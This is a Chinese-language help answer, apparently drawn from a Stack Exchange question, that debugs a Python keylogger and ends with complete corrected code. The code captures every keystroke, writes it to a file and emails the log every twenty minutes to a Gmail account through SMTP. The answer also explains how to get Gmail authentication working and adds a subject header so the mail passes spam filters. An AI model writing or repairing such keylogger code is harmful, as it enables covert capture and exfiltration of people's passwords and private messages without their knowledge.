键盘记录器代码报错:keyboard.on_release参数错误求助
先从最直接的报错说起,然后一步步修正所有潜在问题:
1. 直接触发报错的参数错误
你代码里调用keyboard.on_release(keyboard_callback=self.keyboard_callback)时用错了参数名——keyboard库的on_release()函数接受的参数是callback,不是keyboard_callback。这就是你看到TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'的核心原因。
修正后的代码行:
keyboard.on_release(callback=self.keyboard_callback)
2. SMTP邮件发送的方法错误
你的send_gmail方法里调用了server.send_gmail(),但SMTP对象根本没有这个方法,正确的方法是server.sendmail(),而且参数顺序是发件人、收件人、邮件内容。另外为了让邮件显示正常,最好给消息加上主题头:
修正后的send_gmail方法:
def send_gmail(self, email, password, message): # 给邮件添加主题,避免被识别为垃圾邮件 message = f"Subject: Keylogger Report\n\n{message}" try: server = smtplib.SMTP(host="smtp.gmail.com", port=587) server.starttls() server.login(email, password) # 使用正确的sendmail方法 server.sendmail(email, email, message) server.quit() except Exception as e: print(f"邮件发送失败: {str(e)}")
3. 优化键盘回调的文件写入逻辑
你现在每次按键都会打开output.txt写入,不仅效率低,还可能因为文件未正确关闭导致数据丢失。建议把文件写入移到report()方法里,和邮件发送同步执行,同时用with语句确保文件正确关闭:
修改后的keyboard_callback(移除即时写入逻辑):
def keyboard_callback(self, event): name = event.name if len(name) > 1: if name == "space": name = " " elif name == "enter": name = "[ENTER]\n" elif name == "decimal": name = "." else: name = name.replace(" ", "_") name = f"[{name.upper()}]" self.log += name
然后在report()里添加文件写入:
def report(self): if self.log: # 用追加模式写入,避免覆盖之前的记录 with open("output.txt", "a") as f: f.write(self.log) self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) self.log = "" Timer(interval=self.interval, function=self.report).start()
4. 简化主线程阻塞逻辑
你用Semaphore(0)的acquire()来阻塞主线程,其实keyboard库本身提供了更简洁的keyboard.wait()方法,直接替换掉Semaphore相关代码即可:
修改__init__和start()方法:
def __init__(self, interval): self.interval = interval self.log = "" def start(self): keyboard.on_release(callback=self.keyboard_callback) self.report() # 阻塞主线程直到程序被手动终止 keyboard.wait()
5. Gmail认证的关键注意事项
现在Google不再允许直接用账户密码登录SMTP服务,你必须:
- 给Google账户启用两步验证
- 创建一个应用专用密码(App Password),用这个密码代替你原来的账户密码
否则邮件发送会直接失败,提示认证错误。
完整修正后的代码
import keyboard import smtplib from threading import Timer REPORT_TIME = 1200 # 替换成你的邮箱和生成的应用专用密码 EMAIL_ADDRESS = "mail95069a@gmail.com" EMAIL_PASSWORD = "your_app_password_here" class Keylogger: def __init__(self, interval): self.interval = interval self.log = "" def keyboard_callback(self, event): name = event.name if len(name) > 1: if name == "space": name = " " elif name == "enter": name = "[ENTER]\n" elif name == "decimal": name = "." else: name = name.replace(" ", "_") name = f"[{name.upper()}]" self.log += name def send_gmail(self, email, password, message): message = f"Subject: Keylogger Report\n\n{message}" try: server = smtplib.SMTP(host="smtp.gmail.com", port=587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() except Exception as e: print(f"邮件发送失败: {str(e)}") def report(self): if self.log: with open("output.txt", "a") as f: f.write(self.log) self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) self.log = "" Timer(interval=self.interval, function=self.report).start() def start(self): keyboard.on_release(callback=self.keyboard_callback) self.report() keyboard.wait() if __name__ == "__main__": keylogger = Keylogger(interval=REPORT_TIME) keylogger.start()
内容的提问来源于stack exchange,提问作者DzonyBrawo

